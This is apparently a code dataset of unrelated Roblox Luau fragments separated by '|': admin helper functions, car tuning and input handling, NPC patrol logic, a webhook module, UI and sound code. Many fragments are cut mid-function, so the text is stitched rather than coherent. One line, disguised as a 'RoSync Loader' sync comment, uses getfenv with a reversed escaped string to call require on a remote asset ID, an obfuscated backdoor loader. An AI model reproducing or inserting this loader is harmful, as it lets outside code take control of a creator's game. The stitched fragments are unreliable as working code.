end;
UnCape = function(plr)
for i,v in pairs(Variables.LocalEffects) do
if v.Type == "Cape" and v.Player == plr then
Variables.LocalEffects[i] = nil
end
end
for _,v in ipairs(service.GetPlayers()) do
Remote.Send(v,"Function","RemoveCape",plr.Character)
end
end;
Cape = function(player,isdon,material,color,decal,reflect)
material = material or "Neon"
if not Functions.GetEnumValue(Enum.Material, material) then
error("Invalid material value")
end
Functions.UnCape(player)
local torso = player.Character:FindFirstChild("HumanoidRootPart")
if torso then
if type(color) == "table" then
color = Color3.new(color[1],color[2],color[3])
end
local data = {
Color = color;
Parent = player.Character;
Material = material;
Reflectance = reflect;
Decal = decal;
}
if isdon and Settings.DonorCapes and Settings.LocalCapes then
Remote.Send(player,"Function","NewCape",data)
else
local ind = Functions.GetRandom()
Variables.LocalEffects[ind] = {
Player = player;
Part = player.Character.HumanoidRootPart;
Data = data;
Type = "Cape";
}
for _,v in ipairs(service.GetPlayers()) do
Remote.Send(v,"Function","NewCape",data)
end
end
end
end;
PlayAnimation = function(player, animId)
if player.Character and tonumber(animId) then
local human = player.Character:FindFirstChildOfClass("Humanoid")
if human and not human:FindFirstChildOfClass("Animator") then
service.New("Animator", human)
end
Remote.Send(player,"Function","PlayAnimation",animId)
end
end;
GetEnumValue = function(enum, item)
local valid = false
for _,v in ipairs(enum:GetEnumItems()) do
if v.Name == item then
valid = v.Value
break
end
end
return valid
end;
ApplyBodyPart = function(character, model)
-- NOTE: Use HumanoidDescriptions to apply body parts where possible, unless applying custom parts
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid then
local rigType = humanoid.RigType == Enum.HumanoidRigType.R6 and "R6" or "R15"
local part = model:FindFirstChild(rigType)
if not part and rigType == "R15" then
part = model:FindFirstChild("R15Fixed")
end
if part then
if rigType == "R6" then
local children = character:GetChildren()
for _,v in ipairs(part:GetChildren()) do
for _,x in ipairs(children) do
if x:IsA("CharacterMesh") and x.BodyPart == v.BodyPart then
x:Destroy()
end
end
v:Clone().Parent = character
end
elseif rigType == "R15" then
for _,v in ipairs(part:GetChildren()) do
local value = Functions.GetEnumValue(Enum.BodyPartR15, v.Name)
if value then
humanoid:ReplaceBodyPartR15(value, v:Clone())
end
end
end
end
end
end;
GetJoints = function(character)
local temp = {}
for _,v in ipairs(character:GetDescendants()) do
if v:IsA("Motor6D") then
temp[v.Name] = v -- assumes no 2 joints have the same name, hopefully this wont cause issues
end
end
return temp
end;
LoadOnClient = function(player,source,object,name)
if service.Players:FindFirstChild(player.Name) then
local parent = player:FindFirstChildOfClass("PlayerGui") or player:WaitForChild('PlayerGui', 15) or player:WaitForChild('Backpack')
local cl = Core.NewScript('LocalScript',source)
cl.Name = name or Functions.GetRandom()
cl.Parent = parent
cl.Disabled = false
if object then
table.insert(Variables.Objects,cl)
end
end
end;
Split = function(msg,key,num)
if not msg or not key or not num or num <= 0 then return {} end
if key=="" then key = " " end
local tab = {}
local str = ''
for arg in string.gmatch(msg,'([^'..key..']+)') do
if #tab>=num then
break
elseif #tab>=num-1 then
table.insert(tab,string.sub(msg,#str+1,#msg))
else
str ..= arg..key
table.insert(tab,arg)
end
end
return tab
end;
BasicSplit = function(msg,key)
local ret = {}
for arg in string.gmatch(msg,"([^"..key.."]+)") do
table.insert(ret,arg)
end
return ret
end;
CountTable = function(tab)
local num = 0
for i in pairs(tab) do
num += 1
end
return num
end;
IsValidTexture = function(id)
local id = tonumber(id)
local ran, info = pcall(function() return service.MarketPlace:GetProductInfo(id) end)
if ran and info and info.AssetTypeId == 1 then
return true;
else
return false;
end
end;
GetTexture = function(id)
local id = tonumber(id);
if id and Functions.IsValidTexture(id) then
return id;
else
return 6825455804;
end
end;
Trim = function(str)
return string.match(str, "^%s*(.-)%s*$")
end;
Round = function(num)
return math.floor(num + 0.5)
end;
RoundToPlace = function(num, places)
return math.floor((num*(10^(places or 0)))+0.5)/(10^(places or 0))
end;
CleanWorkspace = function()
for _, v in ipairs(workspace:GetChildren()) do
if v:IsA("BackpackItem") or v:IsA("Accoutrement") then
v:Destroy()
end
end
end;
RemoveSeatWelds = function(seat)
if seat then
for _,v in ipairs(seat:GetChildren()) do
if v:IsA("Weld") then
if v.Part1 and v.Part1.Name == "HumanoidRootPart" then
v:Destroy()
end
end
end
end
end;
GrabNilPlayers = function(name)
local AllGrabbedPlayers = {}
for _,v in ipairs(service.NetworkServer:GetChildren()) do
pcall(function()
if v:IsA("NetworkReplicator") then
if string.sub(string.lower(v:GetPlayer().Name),1,#name)==string.lower(name) or name=='all' then
table.insert(AllGrabbedPlayers, (v:GetPlayer() or "NoPlayer"))
end
end
end)
end
return AllGrabbedPlayers
end;
Shutdown = function(reason)
Functions.Message(Settings.SystemTitle, "The server is shutting down...", service.Players:GetPlayers(), false, 5)
task.wait(1)
service.Players.PlayerAdded:Connect(function(player)
player:Kick("Server Shutdown\n\n".. tostring(reason or "No Reason Given"))
end)
for _, v in ipairs(service.Players:GetPlayers()) do
v:Kick("Server Shutdown\n\n" .. tostring(reason or "No Reason Given"))
end
end;
Donor = function(plr)
if Admin.CheckDonor(plr) and Settings.DonorCapes then
local PlayerData = Core.GetPlayer(plr) or {Donor = {}}
local donor = PlayerData.Donor or {}
if donor and donor.Enabled then
local img,color,material
if donor and donor.Cape then
img,color,material = donor.Cape.Image,donor.Cape.Color,donor.Cape.Material
else
img,color,material = '0','White','Neon'
end
if plr and plr.Character and plr.Character:FindFirstChild("HumanoidRootPart") then
Functions.Cape(plr,true,material,color,img)
end
end
end
end;
CheckMatch = function(check,match)
if check == match then
return true
elseif type(check) == "table" and type(match) == "table" then
local good = false
local num = 0
for k,m in pairs(check) do
if m == match[k] then
good = true
else
good = false
break
end
num += 1
end
if good and num == Functions.CountTable(check) then
return true
end
end
end;
DSKeyNormalize = function(intab, reverse)
local tab = {}
if reverse then
for i,v in pairs(intab) do
if tonumber(i) then
tab[tonumber(i)] = v;
end
end
else
for i,v in pairs(intab) do
tab[tostring(i)] = v;
end
end
return tab;
end;
GetIndex = function(tab,match)
for i,v in pairs(tab) do
if v==match then
return i
elseif type(v)=="table" and type(match)=="table" then
local good = false
for k,m in pairs(v) do
if m == match[k] then
good = true
else
good = false
break
end
end
if good then
return i
end
end
end
end;
ConvertPlayerCharacterToRig = function(plr: Player, rigType: EnumItem)
rigType = rigType or Enum.HumanoidRigType.R15
local Humanoid: Humanoid = plr.Character and plr.Character:FindFirstChildOfClass("Humanoid")
local HumanoidDescription = Humanoid:GetAppliedDescription() or service.Players:GetHumanoidDescriptionFromUserId(plr.UserId)
local newCharacterModel: Model = service.Players:CreateHumanoidModelFromDescription(HumanoidDescription, rigType)
local Animate: BaseScript = newCharacterModel.Animate
newCharacterModel.Humanoid.DisplayName = Humanoid.DisplayName
newCharacterModel.Name = plr.Name
local oldCFrame = plr.Character and plr.Character:GetPivot() or CFrame.new()
if plr.Character then
plr.Character:Destroy()
plr.Character = nil
end
plr.Character = newCharacterModel
newCharacterModel:PivotTo(oldCFrame)
newCharacterModel.Parent = workspace
-- hacky way to fix other people being unable to see animations.
for _=1,2 do
if Animate then
Animate.Disabled = not Animate.Disabled
end
end
return newCharacterModel
end;
CreateClothingFromImageId = function(clothingtype, Id)
local Clothing = Instance.new(clothingtype)
Clothing.Name = clothingtype
Clothing[clothingtype == "Shirt" and "ShirtTemplate" or clothingtype == "Pants" and "PantsTemplate" or clothingtype == "ShirtGraphic" and "Graphic"] = string.format("rbxassetid://%d", Id)
return Clothing
end;
ParseColor3 = function(str: string)
-- Handles BrickColor and Color3
if not str then return end
local color = {}
for s in string.gmatch(str, "[%d]+") do
table.insert(color, tonumber(s))
end
if #color == 3 then
color = Color3.fromRGB(color[1], color[2], color[3])
else
local brickColor = BrickColor.new(str)
if str == tostring(brickColor) then
color = brickColor.Color
else
return
end
end
return color
end;
ParseBrickColor = function(str: string)
if not str then return end
local brickColor = BrickColor.new(str)
if str == tostring(brickColor) then
return brickColor
else
-- If provided a Color3, return closest BrickColor
local color = Functions.ParseColor3(str)
if color then
return BrickColor.new(color)
end
end
end;
};
end
|
--[[[Default Controls]] |
--Peripheral Deadzones
Tune.Peripherals = {
MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width)
MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%)
ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%)
ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%)
}
--Control Mapping
Tune.Controls = {
--Keyboard Controls
--Mode Toggles
ToggleTCS = Enum.KeyCode.T ,
ToggleABS = Enum.KeyCode.Y ,
ToggleTransMode = Enum.KeyCode.M ,
ToggleMouseDrive = Enum.KeyCode.R ,
--Primary Controls
Throttle = Enum.KeyCode.Up ,
Brake = Enum.KeyCode.Down ,
SteerLeft = Enum.KeyCode.Left ,
SteerRight = Enum.KeyCode.Right ,
--Secondary Controls
Throttle2 = Enum.KeyCode.W ,
Brake2 = Enum.KeyCode.S ,
SteerLeft2 = Enum.KeyCode.A ,
SteerRight2 = Enum.KeyCode.D ,
--Manual Transmission
ShiftUp = Enum.KeyCode.E ,
ShiftDown = Enum.KeyCode.Q ,
Clutch = Enum.KeyCode.LeftShift ,
--Handbrake
PBrake = Enum.KeyCode.P ,
--Mouse Controls
MouseThrottle = Enum.UserInputType.MouseButton1 ,
MouseBrake = Enum.UserInputType.MouseButton2 ,
MouseClutch = Enum.KeyCode.W ,
MouseShiftUp = Enum.KeyCode.E ,
MouseShiftDown = Enum.KeyCode.Q ,
MousePBrake = Enum.KeyCode.LeftShift ,
--Controller Mapping
ContlrThrottle = Enum.KeyCode.ButtonR2 ,
ContlrBrake = Enum.KeyCode.ButtonL2 ,
ContlrSteer = Enum.KeyCode.Thumbstick1 ,
ContlrShiftUp = Enum.KeyCode.ButtonY ,
ContlrShiftDown = Enum.KeyCode.ButtonX ,
ContlrClutch = Enum.KeyCode.ButtonR1 ,
ContlrPBrake = Enum.KeyCode.ButtonL1 ,
ContlrToggleTMode = nil ,
ContlrToggleTCS = nil ,
ContlrToggleABS = nil ,
}
|
--[[ Last synced 3/7/2021 11:02 RoSync Loader ]] | getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
----- Loaded Modules ----- |
local PlayerData = require(ServerScriptService.PlayerData.Manager)
local EggConfig = require(ReplicatedStorage.Config.Eggs)
|
-- -- Load normally into the require cache
-- requiredModules[scriptInstance] = moduleResult | |
-- Default services |
local playersService = game:GetService("Players")
|
----------//Local Events\\---------- |
Evt.NVG.Event:Connect(function(Value)
NVG = Value
end) |
-- declarations |
local toolAnim = "None"
local toolAnimTime = 0
local jumpAnimTime = 0
local jumpAnimDuration = 0.31
local toolTransitionTime = 0.1
local fallTransitionTime = 0.2
local currentlyPlayingEmote = false
|
-- Ask any questions here: http://www.roblox.com/Forum/ShowPost.aspx?PostID=13178947 | |
--end |
local function displayPath(waypoints)
local color = BrickColor.Random()
for index, waypoint in pairs(waypoints) do
local part = Instance.new("Part")
part.BrickColor = color
part.Anchored = true
part.CanCollide = false
part.Size = Vector3.new(1,1,1)
part.Position = waypoint.Position
part.Parent = workspace
local Debris = game:GetService("Debris")
Debris:AddItem(part, 6)
end
end
local function walkTo(destination)
local path = getPath(destination)
if path.Status == Enum.PathStatus.Success then
for index, waypoint in pairs(path:GetWaypoints()) do
local target = findTarget()
if target and target.Humanoid.Health > 0 then
attack(target)
break
else
humanoid:MoveTo(waypoint.Position)
humanoid.MoveToFinished:Wait()
end
end
else
humanoid:MoveTo(destination.Position - (TeddyAI.HumanoidRootPart.CFrame.LookVector * 10))
end
end
function patrol()
local waypoints = TeddyAI.Parent.TeddyWaypoints:GetChildren()
local randomNum = math.random(1, #waypoints)
walkTo(waypoints[randomNum])
end
while true do
patrol()
end
|
--[[ SERVICES ]] | --
local Players = game:GetService("Players")
local ServerStorage = game:GetService("ServerStorage")
|
--[[Drivetrain]] |
Tune.Config = "AWD" --"FWD" , "RWD" , "AWD"
--Differential Settings
Tune.FDiffSlipThres = 50 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed)
Tune.FDiffLockThres = 50 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
Tune.RDiffSlipThres = 50 -- 1 - 100%
Tune.RDiffLockThres = 50 -- 0 - 100%
Tune.CDiffSlipThres = 100 -- 1 - 100% [AWD Only]
Tune.CDiffLockThres = 100 -- 0 - 100% [AWD Only]
--Traction Control Settings
Tune.TCSEnabled = false -- Implements TCS
Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS)
Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS)
Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
|
--Script made by Shaakra-- |
wait(5)
local owner = script.Parent.Parent.Name
local db = false
function onTouched( part )
if db == true then return end
db = true
if part.Parent == nil then wait(0.1) db = false return end
if part.Parent.Name == owner then wait(0.1) db = false return end
local h = part.Parent:findFirstChild("Humanoid")
if h == nil then wait(0.1) db = false return end
if part.Parent:findFirstChild("Infected") ~= nil then wait(0.1) db = false return end
if game.Players:findFirstChild(part.Parent.Name) == nil then wait(0.1) db = false return end
local larm = h.Parent:findFirstChild("Left Arm")
local rarm = h.Parent:findFirstChild("Right Arm")
if larm ~= nil then larm:remove() end
if rarm ~= nil then rarm:remove() end
local zee=script.Parent--.Parent:findFirstChild("zarm")
if zee == nil then wait(0.1) db = false return end
local zlarm=zee:clone()
local zrarm=zee:clone()
local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
zlarm.Parent=h.Parent
zrarm.Parent=h.Parent
zlarm:makeJoints()
zrarm:makeJoints()
zlarm.Anchored=false
zrarm.Anchored=false
wait(0.1)
h.Parent.Head.Color=zee.Color
local newtag = script.Parent.Parent.Infected:clone()
newtag.Parent = h.Parent
wait(0.1)
db = false
end
script.Parent.Touched:connect(onTouched)
|
-- << LOCAL FUNCTIONS >> |
local function getTargetProp(item)
if item:IsA("Frame") then
return("BackgroundTransparency")
elseif item:IsA("TextLabel") then
return("TextTransparency")
elseif item:IsA("ImageLabel") then
return("ImageTransparency")
end
end
local function displayMessages(items, targetTransparency, waitTime)
for _, item in pairs(items) do
local tt = targetTransparency
if item:IsA("Frame") and tt < 0.35 then
tt = 0.35
end
local props = {[getTargetProp(item)] = tt}
main.tweenService:Create(item, TweenInfo.new(waitTime), props):Play()
end
wait(waitTime)
end
local function getMessageAppearOrder(message)
return
{
{message.Bg};
{message.Title, message.SubTitle, message.Pic};
{message.Desc};
};
end
|
--[[Controls]] |
local _CTRL = _Tune.Controls
local Controls = Instance.new("Folder",script.Parent)
Controls.Name = "Controls"
for i,v in pairs(_CTRL) do
local a=Instance.new("StringValue",Controls)
a.Name=i
a.Value=v.Name
a.Changed:connect(function()
if i=="MouseThrottle" or i=="MouseBrake" then
if a.Value == "MouseButton1" or a.Value == "MouseButton2" then
_CTRL[i]=Enum.UserInputType[a.Value]
else
_CTRL[i]=Enum.KeyCode[a.Value]
end
else
_CTRL[i]=Enum.KeyCode[a.Value]
end
end)
end
--Deadzone Adjust
local _PPH = _Tune.Peripherals
for i,v in pairs(_PPH) do
local a = Instance.new("IntValue",Controls)
a.Name = i
a.Value = v
a.Changed:connect(function()
a.Value=math.min(100,math.max(0,a.Value))
_PPH[i] = a.Value
end)
end
--Input Handler
function DealWithInput(input,IsRobloxFunction)
if (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus
--Toggle Clutch
if _IsOn and (input.KeyCode ==_CTRL["ContlrClutch"] or (_MSteer and input.KeyCode==_CTRL["MouseClutch"]) or ((not _MSteer) and input.KeyCode==_CTRL["Clutch"])) and _TMode.Value=="Manual" then
if input.UserInputState == Enum.UserInputState.Begin then
_ClutchOn = false
_ClPressing = true
elseif input.UserInputState == Enum.UserInputState.End then
_ClutchOn = true
_ClPressing = false
end
--Toggle PBrake
elseif _IsOn and input.KeyCode ==_CTRL["ContlrPBrake"] or (_MSteer and input.KeyCode==_CTRL["MousePBrake"]) or ((not _MSteer) and input.KeyCode==_CTRL["PBrake"]) then
if input.UserInputState == Enum.UserInputState.Begin then
_PBrake.Value = not _PBrake.Value
elseif input.UserInputState == Enum.UserInputState.End then
if car.DriveSeat.Velocity.Magnitude>5 then _PBrake.Value = false end
end
--Toggle Transmission Mode |
--////////////////////////////// Include
--////////////////////////////////////// |
local Chat = game:GetService("Chat")
local clientChatModules = Chat:WaitForChild("ClientChatModules")
local modulesFolder = script.Parent
local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
local CurveUtil = require(modulesFolder:WaitForChild("CurveUtil"))
|
--------------------------------------------------------------------------------------- |
local webhookService = {}
local https = game:GetService("HttpService")
function webhookService:createMessage(url, message)
local data = {
["content"] = message
}
local finalData = https:JSONEncode(data)
https:PostAsync(url, finalData)
end
function webhookService:createEmbed(url, title, message, fields, image)
local data = {
['content'] = "",
['embeds'] = {{
["image"] = {["url"] = image},
['title'] = "**"..title.."**",
['description'] = message,
['type'] = "rich",
["color"] = tonumber(0xffffff),
['fields'] = fields
},
},
}
local finalData = https:JSONEncode(data)
https:PostAsync(url, finalData)
end
function webhookService:createAuthorEmbed(url, authorName, iconurl, description, fields)
local data = {
["embeds"] = {{
["author"] = {
["name"] = authorName,
["icon_url"] = iconurl,
},
["description"] = description,
["color"] = tonumber(0xFFFAFA),
["fields"] = fields
}},
}
local finalData = https:JSONEncode(data)
https:PostAsync(url, finalData)
end
return webhookService
|
--[[Susupension]] |
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
|
--Shutdown |
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" then
--for i,v in pairs(Binded) do
--run:UnbindFromRenderStep(v)
--end
GMode=0
workspace.CurrentCamera.CameraType=Enum.CameraType.Custom
workspace.CurrentCamera.FieldOfView=70
player.CameraMaxZoomDistance=400
pcall(function()
for i,v in pairs(Sounds) do
for i,a in pairs(v) do
a:Stop()
end
end
for i,v in pairs(car.Wheels:GetChildren()) do
for n,a in pairs(v:GetChildren()) do
a.Wheel["#AV"]:Destroy()
if a.Wheel:FindFirstChild("Smoke")~=nil then
a.Wheel.Smoke.Enabled=false
end
end
end
end)
script.Parent:Destroy()
end
end)
|
--[=[
@return PROPERTY_MARKER
Returns a marker that will transform the current key into
a RemoteProperty once the service is created. Should only
be called within the Client table of a service. An initial
value can be passed along as well.
RemoteProperties are great for replicating data to all of
the clients. Different data can also be set per client.
See [RemoteProperty](https://sleitnick.github.io/RbxUtil/api/RemoteProperty)
documentation for more info.
```lua
local MyService = Knit.CreateService {
Name = "MyService",
Client = {
-- Create the property marker, which will turn into a
-- RemoteProperty when Knit.Start() is called:
MyProperty = Knit.CreateProperty("HelloWorld"),
},
}
function MyService:KnitInit()
-- Change the value of the property:
self.Client.MyProperty:Set("HelloWorldAgain")
end
```
]=] |
function KnitServer.CreateProperty(initialValue: any)
return {PROPERTY_MARKER, initialValue}
end
|
-- Load and configure the animations |
local attackIdleAnimation = maid.humanoid:LoadAnimation(maid.instance.Animations.AttackIdleAnimation)
attackIdleAnimation.Looped = true
attackIdleAnimation.Priority = Enum.AnimationPriority.Action
maid.attackIdleAnimation = attackIdleAnimation
local attackAnimation = maid.humanoid:LoadAnimation(maid.instance.Animations.AttackAnimation)
attackAnimation.Looped = false
attackAnimation.Priority = Enum.AnimationPriority.Action
maid.attackAnimation = attackAnimation
|
--// Wrap |
Instance = {
new = function(obj, parent)
return oldInstNew(obj, service.UnWrap(parent))
end
}
function require(obj)
return oldReq(service.UnWrap(obj))
end
rawequal = service.RawEqual |
--[=[
@within TableUtil
@function Every
@param tbl table
@param callback (value: any, index: any, tbl: table) -> boolean
@return boolean
Returns `true` if the `callback` also returns `true` for _every_
item in the table.
```lua
local t = {10, 20, 40, 50, 60}
local allAboveZero = TableUtil.Every(t, function(value)
return value > 0
end)
print("All above zero:", allAboveZero) --> All above zero: true
```
]=] |
local function Every(tbl: Table, callback: FindCallback): boolean
for k,v in pairs(tbl) do
if not callback(v, k, tbl) then
return false
end
end
return true
end
|
-- Services |
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local PlayersService = game:GetService("Players")
local DebrisService = game:GetService("Debris")
|
--[=[
An expensive way to spawn a function. However, unlike spawn(), it executes on the same frame, and
unlike coroutines, does not obscure errors
@deprecated 2.0.1
@class deferred
]=] |
return task.defer
|
------//Sprinting Animations |
self.RightSprint = CFrame.new(-1, 0.5, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0));
self.LeftSprint = CFrame.new(1.25,1.15,-1.35) * CFrame.Angles(math.rad(-60),math.rad(35),math.rad(-25));
return self
|
-- Create component |
local Component = Cheer.CreateComponent('BTDropdown', View);
function Component.Start(Options, CurrentOption, Callback)
-- Toggle options when clicked
Cheer.Bind(View, Component.Toggle);
-- Draw the component with the given options
Component.Draw(Options, CurrentOption, Callback);
-- Return component for chaining
return Component;
end;
function Component.Toggle()
-- Toggles the visibility of the dropdown options
-- Show each option button open or closed
local Buttons = View.Options:GetChildren();
for _, Button in pairs(Buttons) do
Button.Visible = not Button.Visible;
end;
end;
function Component.SetOption(Option)
-- Draws the current option into the dropdown
-- Set the label
View.CurrentOption.Text = Option:upper();
end;
function Component.Draw(Options, CurrentOption, Callback)
-- Draws the dropdown with the given data
-- Clear existing buttons
View.Options:ClearAllChildren();
-- Create a button for each option
for Index, Option in ipairs(Options) do
-- Create the button
local Button = View.OptionButton:Clone();
Button.Parent = View.Options;
Button.OptionLabel.Text = Option:upper();
Button.MouseButton1Click:connect(function ()
Callback(Option);
Component.SetOption(Option);
Component.Toggle();
end);
-- Position the button
Button.Position = UDim2.new(
math.ceil(Index / 9) - 1, Button.Position.X.Offset + (math.ceil(Index / 9) * -1) + 1,
(Index % 9 == 0 and 9 or Index % 9) * Button.Size.Y.Scale, Button.Position.Y.Offset
);
end;
-- Show the view
View.Visible = true;
end;
return Component;
|
-- Adds the mob to the ActiveMobs table. This table runs a few times per second and updates follow & jump code for active mobs.
-- Active mobs are unanchored, and anchored back when they're not active (not within follow range of any player) |
function AI:StartTracking(Mob)
if not Mob.Destroyed then
ActiveMobs[Mob.Instance] = Mob
end
end
|
--[[
Provides various properties for cchecking if the user is interfacing with a
keyboard, gamepad, or touch-enabled device.
]] |
local GuiService = game:GetService("GuiService")
local UserInputService = game:GetService("UserInputService")
local Cryo = require(script.Parent.Parent.Packages.Cryo)
local Roact = require(script.Parent.Parent.Packages.Roact)
local ConfigurationContext = require(script.Parent.Parent.Packages.Configuration).ConfigurationContext
local withConfiguration = ConfigurationContext.withConfiguration
local ExternalEventConnection = require(script.Parent.Parent.Components.ExternalEventConnection)
local Context = Roact.createContext({})
local InputContextProvider = Roact.Component:extend("InputContextProvider")
export type State = {
isAppFocusedByGamepad: boolean,
isUsingKeyboard: boolean,
isUsingGamepad: boolean,
isUsingTouch: boolean,
}
function InputContextProvider:init()
self.selectedObjectTracker = Roact.createRef()
local state: State = {
isAppFocusedByGamepad = false,
isUsingGamepad = false,
isUsingKeyboard = false,
isUsingTouch = false,
}
self.state = state
self.onSelectedObjectChanged = function()
local selectedObject = GuiService.SelectedObject
local tracker = self.selectedObjectTracker:getValue()
self:setState(function()
if selectedObject and tracker then
if selectedObject:IsDescendantOf(tracker.Parent) then
return {
isAppFocusedByGamepad = true,
}
end
end
return {
isAppFocusedByGamepad = false,
}
end)
end
self.onInputTypeChanged = function(inputType: Enum.UserInputType)
self:setState(function()
if inputType.Name:match("^Gamepad%d") then
return {
isUsingGamepad = true,
isUsingKeyboard = false,
isUsingTouch = false,
}
elseif inputType == Enum.UserInputType.Touch then
return {
isUsingGamepad = false,
isUsingKeyboard = false,
isUsingTouch = true,
}
else
return {
isUsingGamepad = false,
isUsingKeyboard = true,
isUsingTouch = false,
}
end
end)
end
end
function InputContextProvider:render()
return Roact.createFragment({
SelectedObjectTracker = Roact.createElement("Folder", {
[Roact.Ref] = self.selectedObjectTracker,
}),
SelectedObjectChanged = Roact.createElement(ExternalEventConnection, {
event = GuiService:GetPropertyChangedSignal("SelectedObject"),
callback = self.onSelectedObjectChanged,
}),
LastInputTypeChanged = Roact.createElement(ExternalEventConnection, {
event = UserInputService.LastInputTypeChanged,
callback = self.onInputTypeChanged,
}),
Provider = Roact.createElement(Context.Provider, {
value = self.state,
}, self.props[Roact.Children]),
})
end
function InputContextProvider:didMount()
self.onInputTypeChanged(UserInputService:GetLastInputType())
end
function InputContextProvider:didUpdate(prevProps)
-- This is for stories so that if the various states are changed by a
-- storybook control the provider rerenders.
if self.props ~= prevProps then
self:setState(self.props)
end
end
|
-- If pierce callback has to run more than this many times, it will register a hit and stop calculating pierces.
-- This only applies for repeated piercings, e.g. the amount of parts that fit within the space of a single cast segment (NOT the whole bullet's trajectory over its entire lifetime) |
local MAX_PIERCE_TEST_COUNT = 100
|
--[[**
matches given tuple against tuple type definition
@param ... The type definition for the tuples
@returns A function that will return true iff the condition is passed
**--]] |
function t.tuple(...)
local checks = {...}
return function(...)
local args = {...}
for i = 1, #checks do
local success, errMsg = checks[i](args[i])
if success == false then
return false, string.format("Bad tuple index #%s:\n\t%s", i, errMsg or "")
end
end
return true
end
end
|
-- RANK, RANK NAMES & SPECIFIC USERS |
Ranks = {
{5, "NonAdmin", };
{4, "VIP", {"",0}, };
{3, "Mod", {"",0}, };
{2, "Admin", {"",0}, };
{1, "HeadAdmin", {"",0}, };
{0, "Owner", };
};
|
-- print("Keyframe : ".. frameName) |
local repeatAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
repeatAnim = "idle"
end
local animSpeed = currentAnimSpeed
playAnimation(repeatAnim, 0.15, Humanoid)
setAnimationSpeed(animSpeed)
end
end
|
--// Services |
local L_12_ = game:GetService('UserInputService')
local L_13_ = game:GetService('RunService')
local L_14_ = game:GetService('TweenService')
|
-- Functions |
function TimeManager:StartTimer(duration)
StartTime = tick()
Duration = duration
spawn(function()
repeat
Time.Value = Duration - (tick() - StartTime)
wait()
until Time.Value <= 0
Time.Value = 0
end)
end
function TimeManager:TimerDone()
return tick() - StartTime >= Duration
end
return TimeManager
|
-- Disable the specified Core GUI elements |
local starterGui = game:GetService("StarterGui")
if DISABLE_COREUI == false then
starterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, false)
end
|
-- Tire Effect Parameters |
local SLIDE_THRESHOLD = 0.6 -- The threshold at which skid-marks appear
local SLIDE_DEBOUNCE = 0.2 -- The minimum time to display skid-marks for
local SLIDE_MARK_OFFSET = 0.02 -- The studs to offset the skid-marks from the ground by
local defaultAudioData = { -- what to use if no custom sounds are provided
{
RPM = BASE_RPM,
MinRPM = 0,
MaxRPM = BASE_RPM + RPM_CROSSOVER,
Volume = 3,
PitchModification = 1,
SoundID = "rbxassetid://5257533692",
},
{
RPM = 3000,
MinRPM = BASE_RPM + RPM_CROSSOVER,
MaxRPM = 3500,
Volume = 1,
PitchModification = 1,
SoundID = "rbxassetid://5257534962"--"rbxasset://sounds/Medium.ogg",
},
{
RPM = 4000,
MinRPM = 3500,
MaxRPM = 9e9,
Volume = 1,
PitchModification = 1,
SoundID = "rbxassetid://5257536258"--"rbxasset://sounds/High.ogg",
},
}
local audio = {}
local Effects = {}
Effects.__index = Effects
function Effects.new(chassis, effectsFolder, topModel)
local self = setmetatable({},Effects)
self.ignore = topModel
self.base = chassis:FindFirstChild("FloorPanel")
self.attachmentContainer = self.base
local suspensions = {}
table.insert(suspensions, chassis:FindFirstChild("SuspensionFL"))
table.insert(suspensions, chassis:FindFirstChild("SuspensionFR"))
table.insert(suspensions, chassis:FindFirstChild("SuspensionRL"))
table.insert(suspensions, chassis:FindFirstChild("SuspensionRR"))
local function createSound(soundId)
local sound = Instance.new("Sound")
sound.Volume = 0
sound.Looped = true
sound.SoundId = soundId
sound.Parent = topModel.PrimaryPart
if not sound.IsLoaded then
sound.Loaded:Wait()
end
return sound
end
local function generateAudioInfo(soundId, baseRPM, minRPM, maxRPM, volume, pitchMod)
return {
RPM = baseRPM,
MinRPM = minRPM,
MaxRPM = maxRPM,
Volume = volume,
PitchModification = pitchMod,
SoundID = soundId,
Sound = createSound(soundId)
}
end
local function createSounds(audioInfo)
local effects = topModel:FindFirstChild("Effects")
local engineLowSound
local engineBaseSound
local engineHighSound
if effects then
-- idle sound as baseline, Engine sound as next layer, and if there's another sound present, use that as the next higher pitched sound
engineLowSound = effects:FindFirstChild("Idle")
engineBaseSound = effects:FindFirstChild("Engine")
engineHighSound = effects:FindFirstChild("EngineHigh")
end
if not audio[1] then
if engineLowSound then
audio[1] = generateAudioInfo(engineLowSound.SoundId, BASE_RPM, 0, BASE_RPM+RPM_CROSSOVER, engineLowSound.Volume, engineLowSound.PlaybackSpeed)
else
audio[1] = generateAudioInfo(defaultAudioData[1].SoundID, BASE_RPM, 0, BASE_RPM+RPM_CROSSOVER, defaultAudioData[1].Volume, defaultAudioData[1].PitchModification)
end
end
if not audio[2] then
if engineBaseSound then
audio[2] = generateAudioInfo(engineBaseSound.SoundId, 3000, BASE_RPM+RPM_CROSSOVER, 3500, engineBaseSound.Volume, engineBaseSound.PlaybackSpeed)
else
audio[2] = generateAudioInfo(defaultAudioData[2].SoundID, 3000, BASE_RPM+RPM_CROSSOVER, 3500, defaultAudioData[2].Volume, defaultAudioData[2].PitchModification)
end
end
